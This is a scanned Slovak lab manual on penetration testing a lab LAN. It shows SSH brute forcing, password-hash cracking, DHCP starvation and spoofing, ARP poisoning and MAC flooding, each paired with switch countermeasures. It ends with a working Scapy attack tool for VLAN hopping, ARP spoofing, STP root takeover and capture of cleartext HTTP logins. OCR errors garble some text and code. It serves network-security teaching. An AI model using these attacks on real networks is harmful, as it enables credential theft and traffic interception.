Penetracné testovanie LAN siete

V ramci tohto cvienia sa bude postupovat podla nasledujicej topoldgie, na ktorej budu
demonstrované zakladné zranitelnosti sietovych zariadeni a ich testovanie vyuzitim réznych néstrojov
na penetracné testovanie LAN siete.
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Utoky hrubou silou na ldmanie hesiel
Najskor je potrebné zabezpecit funkéné pripojenie na sietové zariadenie vyuZitim znamych
prihlasovacich udajov.

1. Vyskusajte Standardné pripojenie na sluzbu SSH smerovaca.
- Nasmerovadi je potrebné vykonat nasledujucu konfiguraciu:

hostname rl
ip domain-name cnl.sk
crypto key generate rsa
1024
username cisco secret ciscol23!
username test secret test
username hard secret ciscol23!
enable secret cisco
line vty 0 4

login local

transport input ssh

- Zkali linuxu zadajte prikaz:

ssh cisco@10.10.10.15

Uvedeny prikaz pravdepodobne skonéi chybou — sietové zariadenie podporuje starsie
exchange metddy pre vytvorenie ssh spojenia. Pre vyrieSenie tohto problému je potrebné
obohatit konfiguraciu ssh clienta na linux zariadeni nasledovne:

cd ~
nano .ssh/config

Host 10.10.10.15




KexAlgorithms=+diffie-hellman-groupl4-shal
Host 10.10.10.15

HostKeyAlgorithms=+ssh-rsa
Host 10.10.10.15

Ciphers=+aesl28-cbc
Host *
HostkeyAlgorithms +ssh-dss
PubkeyAcceptedKeyTypes +ssh-dss

Konfigurdciu ulozte stlacenim tlacidla ctrl+X a ndsledne Y

V tejto chvili znova zadajte prikaz pre standardné pripojenie sa na sietové zariadenie.
Pripojenie by malo prebehnut bez problémov.

Vyuzitim nastroja CrackMapExec vykonajte brute-force utok na SSH sluzbu smerovaca.
- Vytvorte subor obsahujuci pouzivatelské mena:

nano users.txt

admin
cisco
test
ssh
user

- Vytvorte subor obsahujuci pouzivatelské hesla:

nano password.txt

cisco
ciscol?23
ciscol23!
jahoda
test

- Spustte nastroj crakmapexec pre skusanie vsetkych kombinacii mien a hesiel:

crackmapexec ssh 10.10.10.15 -u users.txt -p password.txt

crackmapexec ssh 10.10.10.15 -u users.txt -p password.txt
SSH-2.0-Cisco-1.25
admin:cisco Authentication failed.
admin:ciscol123 Authentication failed.
admin:cisco123! Authentication failed.
admin:jahoda Authentication failed.
admin:test Authentication failed.
cisco:cisco Authentication failed.
cisco:cisco123 Authentication failed.
[+] cisco:cisco123
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Vyuzitim nastroja John the Ripper skuste prelomit hash hesla pre pouzivatelov ,test” a ,hard”.
Pri pouZivatelovi ,hard“ je potrebné obohatit slovnik nachadzajiuci sa v subore

Jusr/share/john/password.|st.



ssh cisco@10.10.10.15

sh run | inc username

username cisco privilege 15 password 0 ciscol23!
username test secret 5 $1$g7NNSelJPfGmdlwgfL87rcs8ewl
username hard secret 5 $1$dK20$Dh7xfmgRTNvxo//NZWh77Z.

Obohatte subor /usr/share/john/password.Ist o heslo cisco123!

sudo nano /usr/share/john/password.lst
ciscol23!

Vytvorte subor s hash hodnotami, ktoré budu [dmané:

nano hashPassword.txt
$1$g7NNSelJPfGmdlwgfL87rcs8ewl
$1$dK20$Dh7xfmgRTNvxo//NZWh7Z.

Spustte nastroj John the Ripper a zobrazte prelomené hesla:

john hashPassword.txt
john --show hashPassword.txt

cat .john/john.pot

o s

L% cat .jahnfjaﬁn;pat

$1$q7NN$e1IPFfGmdlwgfLET T
$1$dK20$Dh7xfmgRTNvxo// N2

Utoky na LAN siet a moZné protiopatrenia

Konfigurdcia bezpecénosti na prepinacoch pozostava z konfiguracie nasledujucich mechanizmov, ktoré
riesia Utoky smerujlce na rozhrania, VLAN a protokoly DHCP, ARP a STP.

a)

b)

Vypnutie nepouzivanych rozhrani:

Prvym spdsobom na zabezpecenie rozhrani je vypnutie nevyuZitych rozhrani, ¢o je mozné
dosiahnut prikazom shutdown. V pripade potreby vypnutia vacsieho rozsahu rozhrani je
mozné vyuzit prikaz range, ktory umoznuje konfigurovat viacero rozhrani naraz. Konfiguracia
vypnutia prvych 10 FastEthernetovych rozhrani by vyzerala nasledovne:

S1(config)# interface range fa@/1 - 10
S1(config-if-range)# shutdown

Mechanizmy na zabranenie VLAN Hopping utoku:

VLAN hopping Utok je mozné realizovat vyjednanim trunk rozhrania na miestach, kde nie je
Zelany alebo uUtokom tzv. dvojitého znackovania v pripade, ak je nativna VLAN rovnaka ako
datova VLAN, v ktorej sa nachddza utocnik.




Odporucané kroky na zabranenie tymto utokom su:

e Vypnut dynamické vyjednavanie trunk rozhrani
o Vypnutie DTP prikazom switchport nonegotiate
o Staticka konfigurdcia access rozhrania
o Vypnutie nepouZivanych rozhrani a ich priradenie do VLAN, ktora nie je

pouzivana.
e Nastavenie nativnej VLAN na trunk rozhrani na VLAN, ktord nie je pouzitd na prenos
dat. Pre tento Ucel je mozné pouzit prikaz: switchport trunk native vlan 999

c) Utoky na sluzbu DHCP (DHCP Starvation a DHCP Spoofing) a protiopatrenie (DHCP Snooping)
1. Spustte Utok DHCP Starvation. Utok bude generovat DHCP discover spravy vidy s inou
zdrojovou MAC adresou s cielom vyplytvat volné IP adresy z redlneho DHCP servera.

sudo apt-get -y install dhcpstarv
sudo dhcpstarv -i ethO

2. Vykonajte jednoduchy prieskumnicky uatok, a pozrite si informacie o pripojenych
zariadeniach, vytvorenych spojeniach a $tatistikach. Utok bude realizovany nastrojom
Ettercap, ktory je mozné najst v zalozke Sniffing & Spoofing.
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3. Vykonajte DHCP Spoofing utok:

Port stealin
DHCP spoofing...
Stop MITM attac

SSL Intercept
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Cancel MITM Attack: DHCP Spoofing

Server Information

IP Pool (optional) 10.10.10.100-150

MNetmask 255.255.255.0

DMS Server IP

Pocitac pripojeny do siete by mal ziskat falosné sietové nastavenia.

4. Implementujte ochranny mechanizmus pre zabranenie DHCP Spoofing utoku = DHCP
Snooping.
Na zamedzenie DHCP Utokom sa vyuziva DHCP snooping mechanizmus. Po spusteni tohto
mechanizmu su Standardne vSetky rozhrania v stave untrusted. Untrusted rozhrania su
schopné prenasat len DHCP Discover a Request spravy, ktoré si bezné pre koncového
pouzivatela. Tento typ rozhrania neposiela spravy typické pre DHCP server. Rozhrania
smerujuice k DHCP serveru a do zvysku infrastruktlry je potrebné konfigurovat ako trust.
Tiez je mozné nakonfigurovat max. poc¢et DHCP sprav za sekundu, ktoré je mozné odoslat
cez untrust rozhranie. Pri konfiguracii je tiez potrebné definovat, pre ktoré VLAN bude
aplikovany DHCP snooping mechanizmus. Po prideleni sietovych nastaveni sa tvori tzv.
DHCP snooping binding tabulka, ktora vsebe nesie informaciu o MAC alP adrese
nachddzajucej sa za rozhranim. Tato tabulka sa vyuZiva pri dalSich bezpecnostnych
mechanizmoch. Konfiguracie DHCP snoopingu na rozhrani FaO/2 pre VLAN 10 a 20
s obmedzenim prijatia max. mnoZstva DHCP sprdv za sekundu na 100 by vyzerala
nasledovne:



S1(config)# ip dhcp snooping

S1(config)# interface f0/24

S1(config-if)# ip dhcp snooping trust

S1(config-if)# exit

S1(config)# interface f0/6

S1(config-if-range)# ip dhcp snooping limit rate 100
S1(config-if)# exit

S1(config)# ip dhcp snooping vlan 1

R1(config)# int fae/e
R1(config-if)# ip dhcp relay information trusted

Pozn.: Rozhranie Fa0/1 je rozhranie, za ktorym sa nachadza DHCP server.
Tabulku vytvorenu po prijati DHCP nastaveni je mozné zobrazit prikazom:

show ip dhcp snooping binding

d) Utok na sluzbu ARP (DHCP Poisoning) a protiopatrenie (Dynamic ARP Inspection)
1. Vykonajte MItM utok vyuZitim GUtoku ARP Poisoning, vtomto pripade staci definovat
dvojicu cielov medzi ktorymi chceme odchytavat komunikaciu. V nasom pripade PC
a Smerovac.
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Cancel MITM Attack: ARP Poisoning

Optional parameters

9 # Sniff remote connections.
[ ]

Only poison one-way.

Pri pohlade na ARP tabulku na smerovaci (show ip arp) a pocitaci (arp -a) by malo byt vidiet,
Ze mapovania obsahuju faloSny zaznam = MAC adresu utoénika priradend pocitaci
a smerovacu. Z PC 1 vykonajte ping na branu. Ping by malo byt mozné odchytit na zariadeni
utocnika. Realizujte experiment, kde sa na smerovac pokusite pripojit protokolom Telnet.

2. Implementujte ochranny mechanizmus pre zabranenie ARP Poisoning Utoku = DAI.
Utok spociva v odosielani tzv. Gratuitous ARP sprav, v ktorych je ako MAC adresa, adresa
Utocnika a IP adresa je adresa brdny. Ide otyp nevyZiadanej ARP spravy, ktord ma
aktualizovat ARP tabulky koncovych zariadeni za U¢elom posielania sprav na Utocnikove



zariadenie. Obranou vod¢i tomu uUtoku je vyuZitie mechanizmu Dynamic ARP Inspection
(DAI), ktoré na zaklade DHCP snooping binding databazy kontroluje ARP poZiadavky na
Untrust rozhraniach. Konfiguracia pre VLAN 10 by vyzerala nasledovne:

S1(config)# ip dhcp snooping
S1(config)# ip dhcp snooping vlan 1
S1(config)# ip arp inspection vlan 1
S1(config)# interface fa0/24
S1(config-if)# ip dhcp snooping trust
S1(config-if)# ip arp inspection trust

Rozhranie Fa0/24 je pripojené k DHCP serveru.

Vramci DAl je moiné definovat aké parametre sa maju kontrolovat v prijatej ARP
poziadavke vzhladom k tabulke DHCP snooping binding a vzhladom MAC adrese zdroja
v ARP poZiadavke.

Si1(config)# ip arp inspection validate src-mac dst-mac ip
Prikaz ip arp inspection sa prepisuje, preto v pripade kontroly viacerych atributov je
potrebné tieto atriblty zapisat za sebou v ramci jedného prikazu.

e) Utok na tabulku MAC adries

Vykonajte utok hrubou silou na prepinac scielom preplnenie jeho tabulky MAC adries
a pozorujte Statistiky MAC tabulky na prepinaci pred a po vykonani utoku:

SwW:
Kali:
Kali:
Sw:

show mac-address-table count
sudo apt install dsniff
sudo macof -i ethO

show mac-address-table count

~/Desktop/python

1547959
114




Yersinia

Jednym z dalSich nastrojov, ktoré je mozné vyuzit na vykonanie utokov cielenych na LAN siet je nastroj
Yersinia, ktory umozZiiuje generovat datové jednotky pre nasledujice protokoly:

Spanning Tree Protocol

Cisco Discovery Protocol

Dynamic Trunking Protocol

Dynamic Host Configuration Protocol
Host Standby Router Protocol
802.1q

802.1x

Inter-Switch Link Protocol

VLAN Trunking Protocol

InStaldcia a spustenie nastroja je mozna nasledujucimi prikazmi:

sudo apt install yersinia

sudo yersinia -G

sudo yersinia -l
Pouzivatelské rozhranie nastroja Yersinia vyzera nasledovne (mozné spustit prikazom sudo yersinia -
G):

Yersinia 07.3 ee o
Fie Protocols Actions. Opiions. Help

L3

Launch attack| Edit interfaces Load default

a O; -~ (%}

ks Clearstals  Captwe  Editmode  Ext

Protocals Packets 0P| DHEP | 80

21X OTP HSRP ISL MPLS STP VTP Yersinialo

B ¢ TIL DeviD Interface Count Last seen

Field Value Description 6| DestnatonMAC [o1:ea:ec.ceiccice| |Bana

4| Checksum 0000

040345

Tento nastroj je mozné pouZivat aj vyuZitim terminalovej interakcie — spustenie mozné prikazom:

‘ sudo yersinia -l




UZito€né klavesové skratky:

- h(pomoc)

- g (prepinanie medzi typmi Utokov)
- e (editovanie posielanych sprav)

- X (spustenie utoku)

- K (zastavenie vsetkych utokov)

Pohrajte sa s tymto nastrojom a jeho funkénost si overte show vypismi na prepinadi, pripadne vyuzitim
nastroja Wireshark.

Tvorba nastroja na penetracné testovanie

Posledna ¢ast tohto manualu obsahuje ukazku vytvorenia jednoduchej aplikacie pre generovanie ICMP
spravy, pre odchytdvanie dat zo sietovej karty ale aj komplexni aplikaciu obsahujicu viacero
funkcionalit pre penetraéné testovanie LAN prostredia.

Generovanie ICMP spravy
Pre generovanie ICMP sprév je mozné pouzit nasledujuci zdrojovy kéd:

#importovanie kniZnice SCAPY pre précu s ICMP, IP protokolom a na
odosielanie dat

from scapy.layers.inet import ICMP, IP

from scapy.sendrecv import srl

#funkcia na odoslanie jednej ICMP spravy, pricom pouzZivatel
definuje adresy a obsah
def send one ICMP MSG(src address, dst address, payload):
#vytvorenie datovej jednotky = default IP + default ICMP +
payload
icmp = IP() / ICMP() / payload
#aprava atributov IP hlavicky
icmp[IP].src = src_address




icmp[IP].dst = dst address
#odoslanie poZiadaviek
resp = srl(icmp, timeout=2)
print (resp)

#funkcia na odoslanie viacerych ICMP sprav, pricom pouZivatel
definuje adresy, obsah a pocet
def send several ICMP MSG(src address, dst address, payload,
count) :
#vytvorenie datovej jednotky = default IP + default ICMP +
payload
icmp = IP() / ICMP() / payload
#aprava atributov IP hlavicky
icmp[IP].src = src_address
icmp[IP].dst = dst address
#cyklus, ktory zopakuje odoslanie ICMP spravy tolko krat, kolko
to definoval pouzZivatel
for num in range (0, count):
#odoslanie poZiadaviek
resp = srl(icmp, timeout=2)
print (resp)

if name == ' main_ ':
#volanie vytvorenych funkcii
send one ICMP MSG("10.10.10.19", "10.10.10.1", "Secret MSG123")
#send several ICMP MSG("10.10.10.19", "10.10.10.1",

"Secret MSG", 10)

Odchytavanie dat zo sietovej karty
Pre odchytavanie dat zo sietovej karty je mozné pouzit nasledujuci zdrojovy kdd:

#importovanie knizZnice SCAPY pre préacu s protokolom IP, obsahom
prenaSanych sprav a odchytédvania prevadzky zo sietovej karty
from scapy.layers.inet import IP

from scapy.packet import Raw

from scapy.sendrecv import sniff

#importovanie kniZnice pre préacu s JSON datami

import json

if name == ' main ':
#odchytenie 5 ICMP sprav a vytvorenie pola pre ukladanie
kItcovych charakteristik
packets = sniff(filter="icmp", count= 5)
rcv_data = []
#cyklus, ktory prejde kazdou odchytenou ICMP spravou
for packet in range (0, 5):
#do JSON podoby ulozi hladané charakteristiky
(zdrojovéa/cielova adresa a payload)
packet info = {
"src_address": packets[packet] [IP].src,
"dst address": packets[packet] [IP].dst,
"payload": packets[packet] [Raw].load.decode ()




#ulozZenie dat do vytvoreného pola
rcv_data.append (packet info)

#vypis obsahu odchytenych dat
print (json.dumps (rcv_data, indent=2))

Aplikacia na penetracné testovanie LAN prostredia
Nasledujuci zdrojovy kdd predstavuje kéd pre jednoduchu aplikaciu umoziujicu zakladné zneuZitie
zranitelnosti sietovych protokolov a zariadeni. Vzhlad aplikacie je zobrazeny na nasledujicom obréazku:

[ ] [ ] Network Security Tool

ICMP Msg Ping Sweep lan Hopping Double Tagging ICMP Sniff ARP Spoofing STP RBE Manipulation Capture HTTP Auth

Ping Attack
Set Source IP Address: ||

Set Destination IP Address:
Set Message to Send:

Send Ping

Zdrojovy kod aplikacie:

import tkinter as tk
from tkinter import ttk

from scapy.all import IP, ICMP, srl

from scapy.layers.l2 import Dot3, LLC, SNAP, Ether, DotlQ, ARP, STP
from scapy.contrib.dtp import *

from scapy.packet import ls, Raw

from scapy.sendrecv import sniff

from scapy.layers.http import HTTPRequest

class App:
def init (self, master):
super (). init ()

self.master = master
self.master.title ("Network Security Tool")
self.master.geometry ("700x300")

self.tabControl = ttk.Notebook(self.master)

self.tabl = ttk.Frame(self.tabControl

( )
self.tab2 = ttk.Frame(self.tabControl)
self.tab3 = ttk.Frame(self.tabControl)
self.tab4d = ttk.Frame(self.tabControl)
self.tab5 = ttk.Frame(self.tabControl)
self.tab6 = ttk.Frame(self.tabControl)

( )

self.tab7 = ttk.Frame (self.tabControl




self.tab8 = ttk.Frame(self.tabControl)
self.tabControl.add(self.tabl, text="ICMP Msg")
self.tabControl.add(self.tab2, text="Ping Sweep")
self.tabControl.add(self.tab3, text="Vlan Hopping")
self.tabControl.add(self.tabd4, text="Double Tagging")
self.tabControl.add(self.tab5, text="ICMP Sniff")
self.tabControl.add(self.tab6, text="ARP Spoofing")
self.tabControl.add(self.tab7, text="STP RB Manipulation")
self.tabControl.add(self.tab8, text="Capture HTTP Auth")
self.tabControl.pack (expand=1, fill="both")
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self.src ip add value = tk.StringVar (self.master,
self.dst ip add value tk.StringVar (self.master,
self.msg value tk.StringVar (self.master, "")

"")

"")

ttk.Label (self.tabl,
row=0)

ttk.Label (self.tabl, text="Set Source IP
Address:") .grid(column=0, row=1)

self.src ip add ttk.Entry(self.tabl,
textvariable=self.src ip add value) .grid(column=1,

row=1)

ttk.Label (self.tabl, text="Set Destination IP
Address:") .grid(column=0, row=2)

self.dst ip add ttk.Entry(self.tabl,
textvariable=self.dst ip add value) .grid(column=1,

row=2)

ttk.Label (self.tabl, text="Set Message to
Send:") .grid(column=0, row=3)

self.msg ttk.Entry(self.tabl,
textvariable=self.msg value) .grid(column=1,

row=3)

ttk.Button(self.tabl, text="Send Ping",

command=self.Tl create ping) .grid(column=0, row=4)
FH#t#fHH 44t A A4 A4S 44 H## Task 2

FH#t#ffH4 At a A4
self.T2 src ip add value = tk.StringVar (self.master,
self.T2 dst ip add value tk.StringVar (self.master,
self.T2 dst start value tk.StringVar (self.master,
self.T2 dst end value = tk.StringVar (self.master, "")

ttk.Label (self.tab2,
row=0)

ttk.Label (self.tab2,
Address:") .grid(column=0, row=1)

self.T2 src ip add ttk.Entry(self.tab2,
textvariable=self.T2 src ip add value) .grid(column=1,

text="Set Source IP

text="Set Destination Network
row=2)
ttk.Entry(self.tab2,

ttk.Label (self.tab2,
Address:") .grid(column=0,
self.T2 dst ip add

text="Ping Attack") .grid(columnspan=2,

"")

"")

"")

text="Ping Scan") .grid(columnspan=2,

row=1)




textvariable=self.T2 dst ip add value) .grid(column=1, row=2)

ttk.Label (self.tab2, text="Start IP Number:").grid(column=0,
row=3)

self.T2 dst start = ttk.Entry(self.tab2,
textvariable=self.T2 dst start value).grid(column=1, row=3)

ttk.Label (self.tab2, text="End IP Number:").grid(column=0,
row=4)

self.T2 dst end = ttk.Entry(self.tabZ2,
textvariable=self.T2 dst end value) .grid(column=1, row=4)

ttk.Button (self.tab2, text="Start Scan",
command=self.T2 ping range).grid(column=0, row=5)

HHAH A AR A AR A A A F AR HAS Task 3
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self.T3 src ip add value = tk.StringVar (self.master, "")

self.T3 dst ip add value = tk.StringVar (self.master, "")

self.T3 dst vlan value = tk.StringVar (self.master, "")

ttk.Label (self.tab3, text="VLAN Hopping
Attack") .grid(columnspan=2, row=0)

ttk.Label (self.tab3, text="Set Source IP
Address:") .grid(column=0, row=1)

self.T3 src ip add = ttk.Entry(self.tab3,
textvariable=self.T3 src ip add value) .grid(column=1, row=l)

ttk.Label (self.tab3, text="Set Destination IP
Address:") .grid(column=0, row=2)

self.T3 dst ip add = ttk.Entry(self.tab3,
textvariable=self.T3 dst ip add value) .grid(column=1l, row=2)

ttk.Label (self.tab3, text="Set Destination
VLAN") .grid(column=0, row=3)

self.T3 dst vlan = ttk.Entry(self.tab3,
textvariable=self.T3 dst vlan value) .grid(column=1, row=3)

ttk.Button(self.tab3, text="Send Message",
command=self.T3 Trunk Negotiation) .grid(column=0, row=4)

HHAFAHAAAS A A AR A AR A A A AR HES Task 4
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self.T4 src ip add value = tk.StringVar (self.master, "")
self.T4 dst ip add value = tk.StringVar (self.master, "")
self.T4 dst vlan value = tk.StringVar (self.master, "")
self.T4 native vlan value = tk.StringVar (self.master, "")

ttk.Label (self.tab4, text="Double Tagging
Attack") .grid(columnspan=2, row=0)

ttk.Label (self.tab4, text="Set Source IP
Address:") .grid(column=0, row=1)

self.T4 src ip add = ttk.Entry(self.tab4,
textvariable=self.T4 src ip add value) .grid(column=1, row=l)




ttk.Label (self.tab4, text="Set Destination IP
Address:") .grid(column=0, row=2)

self.T4 dst ip add = ttk.Entry(self.tab4,
textvariable=self.T4 dst ip add value) .grid(column=1, row=2)

ttk.Label (self.tabd4, text="Set Destination
VLAN") .grid (column=0, row=3)

self.T4 dst vlan = ttk.Entry(self.tab4,
textvariable=self.T4 dst vlan value) .grid(column=1, row=3)

ttk.Label (self.tab4, text="Set Native VLAN") .grid(column=0,
row=4)

self.T4 native vlan = ttk.Entry(self.tabd,
textvariable=self.T4 native vlan value) .grid(column=1, row=4)

ttk.Button (self.tab4, text="Send Message",
command=self.T4 Double Tagging) .grid(column=0, row=5)

FHEHHE A F AR Task 5
S i i R

self.T5 number of icmp msg value = tk.StringVar (self.master,
")

ttk.Label (self.tabb, text="Sniffing ICMP
messages") .grid(columnspan=2, row=0)

ttk.Label (self.tabb, text="Set Packet Count:").grid(column=0,
row=1)

self.T5 nmber of icmp msg = ttk.Entry(self.tab),
textvariable=self.T5 number of icmp msg value) .grid(column=1,
row=1)

ttk.Button (self.tab5, text="Show Captured ICMP Packet",
command=self.T5 Packet Capture).grid(column=0, row=2)

THAFFRAFARAAHAAAAARAASRFASRFAFARATAS Task ©

E R
self.T6 spoofed mac add value = tk.StringVar (self.master, "")
self.T6 spoofed ip add value = tk.StringVar(self.master, "")
self.T6 victim mac add value = tk.StringVar(self.master, "")
self.T6 victim ip add value = tk.StringVar (self.master, "")

ttk.Label (self.tab6, text="ARP Spoofing
Attack") .grid(columnspan=2, row=0)

ttk.Label (self.tabb6, text="Set Spoofed MAC
Address:") .grid(column=0, row=1)

self.T6 spoofed mac add = ttk.Entry(self.tabo,
textvariable=self.T6 spoofed mac add value) .grid(column=1, row=1)

ttk.Label (self.tabb6, text="Set Spoofed IP
Address:") .grid(column=0, row=2)

self.T6 _spoofed ip add = ttk.Entry(self.tabo,
textvariable=self.T6 spoofed ip add value) .grid(column=1l, row=2)

ttk.Label (self.tab6, text="Set Victim MAC
Address") .grid(column=0, row=3)

self.T6 victim mac add = ttk.Entry(self.tab6,
textvariable=self.T6 victim mac add value) .grid(column=1, row=3)




ttk.Label (self.tab6, text="Set Victim IP
Address") .grid(column=0, row=4)

self.T6 victim ip add = ttk.Entry(self.tabo,
textvariable=self.T6 victim ip add value) .grid(column=1, row=4)

ttk.Button(self.tab6, text="Send ARP",
command=self.T6 Arp Spoofing) .grid(column=0, row=5)

FHAFHHAFAHHA AR AR H AR H AR F RS H S Task 7

FHAHF A AR FA AR H AR AR
self.T7 root mac add value = tk.StringVar (self.master, "")
self.T7 root vlan value = tk.StringVar(self.master, "")

ttk.Label (self.tab7, text="STP Root Bridge Manipulation
Attack") .grid(columnspan=2, row=0)

ttk.Label (self.tab7, text="Set Root Bridge MAC
Address:") .grid(column=0, row=1)

self.T7 root mac_add = ttk.Entry(self.tab7’,
textvariable=self.T7 root mac add value) .grid(column=1, row=1)

ttk.Label (self.tab7, text="Set Root Bridge
VLAN:") .grid(column=0, row=2)

self.T7 root vlan = ttk.Entry(self.tab’,
textvariable=self.T7 root vlan value) .grid(column=1, row=2)

ttk.Button(self.tab7, text="Send STP BPDU",
command=self.T7 STP Root Manipulation) .grid(column=0, row=3)

FHA#HHAH AR H A H AR H A H RS H#ES Task 8
it sssdasaEa s AR RAEEEREEEE

self.T8 number of http msg value = tk.StringVar (self.master,
"")

ttk.Label (self.tab8, text="Capturing ClearText HTTP Auth Data
Attack") .grid(columnspan=2, row=0)

ttk.Label (self.tab8, text="Set Packet Count:").grid(column=0,
row=1)

self.T8 nmber of http msg = ttk.Entry(self.tab8,
textvariable=self.T8 number of http msg value) .grid(column=1,
row=1)

ttk.Button (self.tab8, text="Show ClearText Auth Data",
command=self.T8 Telnet Capture) .grid(column=0, row=2)

def Tl create ping(self):

icmp = IP(src=self.src ip add value.get(),
dst=self.dst ip add value.get())/ICMP()/self.msg value.get ()
resp = srl(icmp, timeout=2)

print (self.dst ip add value.get())

def T2 ping range (self):
array = str(self.T2 dst ip add value.get()) .split(".")
net addr = array[0]+"."+array[1l]+"."+array[2]+"."
active ip add = []
for i1 in range(int(self.T2 dst start value.get()),

int (self.T2 dst end value.get())+1):




icmp = IP(src=self.T2 src ip add value.get(),
dst=net addr+str(i)) / ICMP() / "test"
resp = srl(icmp, timeout=0.5)
if resp:
active ip add.append(net addr+str(i))
ttk.Label (self.tab2, text=f"Active IP Address:
{active ip add}") .grid(column=0, row=6)

def T3 Trunk Negotiation(self):
negotiate trunk(iface="Fal0/1")

packet = DotlQ(vlan=int(self.T3 dst vlan value.get())) /
IP(src=self.T3 src ip add value.get (),
dst=self.T3 dst ip add value.get()) / ICMP() / "My MSG"

resp = srl (packet, timeout=2)

def T4 Double Tagging(self):

T4 src ip = self.T4 src ip add value.get()

T4 dst ip = self.T4 dst ip add value.get()

T4 dst vlan = self.T4 dst vlan value.get()

T4 native vlan = self.T4 native vlan value.get ()

packet =
DotlQ(vlan=int (T4 native vlan))/DotlQ(vlan=int (T4 dst vlan))/IP(src
=T4 src ip, dst=T4 dst ip)/ICMP()/"My MSG"

resp = srl (packet, timeout=2)

def TS5 Packet Capture (self):
packets = sniff(filter="icmp", count =
int (self.T5 number of icmp msg value.get()))
for packet in range (0,
int (self.T5 number of icmp msg value.get())):
ttk.Label (self.tabh,
text=f"{packets[packet].summary () }") .grid(column=0, row=packet+3)
ttk.Label (self.tabb,
text=f"{packets[packet].load}") .grid(column=1, row=packet+3)

def T6 Arp Spoofing(self):
spoofed arp = Ether () /ARP ()
spoofed arp[ARP].hwsrc = self.T6 spoofed mac add value.get()

(
spoofed arp[ARP].psrc = self.T6 spoofed ip add value.get()
spoofed arp[ARP].hwdst = self.T6 victim mac add value.get ()
spoofed arp[ARP].pdst = self.T6 victim ip add value.get()
spoofed arp.dst = self.T6 victim mac add value.get()
spoofed arp.src = self.T6 spoofed mac add value.get ()

spoofed arp[ARP].op = 2
sendp (spoofed arp)

def T7 STP Root Manipulation (self):

stp _bpdu = Ether (dst="01:80:c2:00:00:00") /LLC () /STP ()
stp bpdu.rootmac = self.T7 root mac add value.get ()
stp bpdu.rootid = int(self.T7 root vlan value.get())
stp bpdu.bridgemac = self.T7 root mac add value.get()
stp bpdu.bridgeid = int(self.T7 root vlan value.get())
stp bpdu.pathcost = 0




sendp (stp_bpdu)

def T8 Telnet Capture (self):
packets = sniff(filter="port 80",
count=int (self.T8 number of http msg value.get()))
auth data array = []
for packet in range (0,
int (self.T8 number of http msg value.get())):
print (packets[packet] .summary () )
index = 3
if packets[packet].haslayer (HTTPRequest) :
method =
packets[packet] [HTTPRequest] .Method.decode ()
if (packets[packet].haslayer (Raw)) and (method ==
"POST") and (packets[packet] [Raw].load.decode().find("username") !=
-1):

auth data =
packets[packet] [Raw] .load.decode () .split ("&")
auth json = {
"username": auth datal[0],

"password": auth datall]

}
auth data array.append(auth json)

for user in auth data array:
ttk.Label (self.tab8, text=f"{user['username']} |
{user['password']}") .grid(column=1, row=index)
index += 1

def start(self):
self.master.mainloop ()

if name == ' main_ ':
root = tk.Tk()
app = App (root)
app.start ()

Detailny opis vSetkych vytvorenych funkcii je mozné najst v druhom prilozenom vzdeldvacom lab
manuale.



